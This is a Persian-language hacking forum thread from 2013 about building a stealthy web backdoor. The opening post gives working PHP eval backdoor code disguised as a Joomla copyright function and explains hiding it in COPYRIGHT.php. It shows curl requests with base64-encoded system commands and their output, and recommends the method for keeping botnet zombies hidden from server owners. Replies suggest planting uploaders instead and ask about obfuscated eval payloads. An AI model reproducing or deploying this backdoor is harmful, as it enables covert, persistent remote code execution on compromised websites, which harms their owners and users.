نمایش نتایج: از شماره 1 تا 6 , از مجموع 6
موضوع: ساخت یک بکدور حرفه ای
-
08-28-2013, 02:32 AM #1
ساخت یک بکدور حرفه ای
کد های مخرب هر چند کوچک میتوانند بسیار خطرناک تر از آنچه باشند که ما تصور میکنیم ! ما هر روز در انجام وظایف روزانه با انها خواسته یا ناخواسته روبرو میشویم , بسیاری از انها مبتنی بر وب هستند که بر اندازه و تاثیر تخریب متفاوت عمل میکنند شناسایی برخی از آنها بسیار آسان بوده و به راحتی رد گیری میشوند اما امروز میخواهیم بر تکنیکی تمرکز کنیم که به راحتی قابل رد گیری نباشد تا اجازه نگاه داشتن دسترسی خود به مدت طولانی از سرور های خاص خودمون داشته باشیم.
در این بحث وارد بحث بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم که بکدور یا در پشتی چه کاری انجام میده ...
بکدور ها ابزار یا برنامه هایی هستند که نفوذگر ها برای حفظ دسترسی بر روی سیستم های کلاینت , سرور ها و یا داخل سایت ها استفاده میکنند.
حالا توجه شما رو به کد زیر جلب میکنم:
کد PHP:<? php
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}
اما ابتدا باید دنبال یکی از فایل های خود پرتال باشیم تا کدمون رو توش جا بدیم
گام اول فریب
میتوتین در جوملا 1.5 از فایل COPYRIGHT.php استفاده کنیم برای رسیدن به اهدافمون اما این فایل چیست و محتویاتش چیه؟!
کد:/** * @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $ * @package Joomla * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('_JEXEC') or die('Restricted access'); Joomla! derives from copyrighted works licensed under the GNU General Public License. This version has been modified pursuant to the GNU General Public License as of September 15, 2005, and as distributed, it includes or is derivative of works licensed under the GNU General Public License or other free or open source software licenses. Please see the CREDITS.php for a non-exhaustive list of contributors and copyright holders. A full text version of the GNU GPL version 2 can be found in the LICENSE.php file. A full text version of the other licenses that Joomla! is derivative of or includes can be found in LICENSES.php
چطوری میتونیم ازش استفاده کنیم برمیگردیم به کد خودمون:
کد PHP:Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('',$_REQUEST['gnu']);
eval ($gpl($_REQUEST['c_id']));
$gnu=false;
}
بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :
کد PHP:eval ($gpl($_REQUEST['c_id']));
خوب این کد دقیقا کد مخرب ماست که به نفوذگر اجازه اجرای کد رو از راه دور و به آسانی میده
تو خط
کد PHP:eval ($gpl($_REQUEST['c_id']));
کد PHP:eval (system(CMD));
کد PHP:eval (passthru(CMD));
با یک مثال کد خطرناک اونو نشون میدم:
------------------------------------------------------
[email protected]:~$ echo "system('uname -a; id');"|base 64
------------------------------------------------------
------------------------------------------------------
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------
------------------------------------------------------
[email protected]:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
------------------------------------------------------
[email protected]:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
میریم سراغ مانیتورینگ
اگر با این روش عمل کنیم محتوای لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
ajaxtm.org - - [31/Jul/2013:00:00:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
ajaxtm.org - - [31/Jul/2013:00:00:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTs K HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
میشه نتیجه گرفت که یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک نفوذگر بکنه.
حالا بهترین استفاده از این مورد به نظرتون کجاست ؟!
یک باتنت نویس خوب همیشه به این فکر میکنه که چطوری میتونه زامبی هاشو از دید صاحب سرور و سایت دور نگه داره ...
این روش میتونه کمک به سزایی در این زمینه بکنه.
موفق باشید
-
12کاربر از HUrr!c4nE به علت ارسالش تشکر کردند.
4shir (02-14-2014),Araz11316 (08-28-2013),black.shadowes (02-04-2014),Encoder (08-28-2013),hayula (02-15-2014),l4tr0d3ctism (08-28-2013),MarshalPinokio (08-28-2013),mmmmms (08-28-2013),ROTIL (02-15-2014),Sc0rpioN (08-28-2013),ViR-EnG (02-15-2014),web01 (10-05-2013)
-
08-28-2013, 05:40 AM #2
http://blog.sucuri.net/2013/08/open-...r-gnu-gpl.html
اینو من 2 هقته پیش خوندم بسیار جالب بود, مرسی که ترجمه کردی برا عموم کیوان
-
کاربر زیر از Sc0rpioN به علت ارسالش ابراز تشکر کرد.
HUrr!c4nE (08-28-2013)
-
08-28-2013, 05:41 AM #3
به ندرت اتقاق میفته که مدیر سرور بیاد فانکشن هایی مثه system رو باز بزاره
من به شخصه هر جا بخوام بکدور بکارم یه آپلودر با قابلیت تغییر مسیر میزارم! Security is never Complete
-
-
08-28-2013, 06:20 AM #4
ممنون یاشار جان مطالب جالب ببینم شیر میکنم اگه لازم باشه ترجمه هم میکنم برای عموم
البته اگه از نظر شما مشکلی نداشته باشه ...ویرایش توسط HUrr!c4nE : 08-28-2013 در ساعت 12:16 PM
-
4کاربر از HUrr!c4nE به علت ارسالش تشکر کردند.
A.Amiri (02-14-2014),l4tr0d3ctism (08-28-2013),Mokhless (08-28-2013),web01 (10-05-2013)
-
02-13-2014, 11:34 PM #5
-
02-14-2014, 02:19 AM #6
Junior User
- تاریخ عضویت
- Jan 2009
- نوشته ها
- 128
- تشکر از ارسال
- 25
- Thanked 6 Times in 5 Posts
دوستان راهی رو میشناسید که بشه eval رو دیکد کرد و باز هم اجرا بشه ؟ الان من خودم اگر بخوام اسکریپتی رو بررسی کنم اولین کارم سرچ دنبال eval هست
مثلا
eval(gzinflate(base64_decode($code)))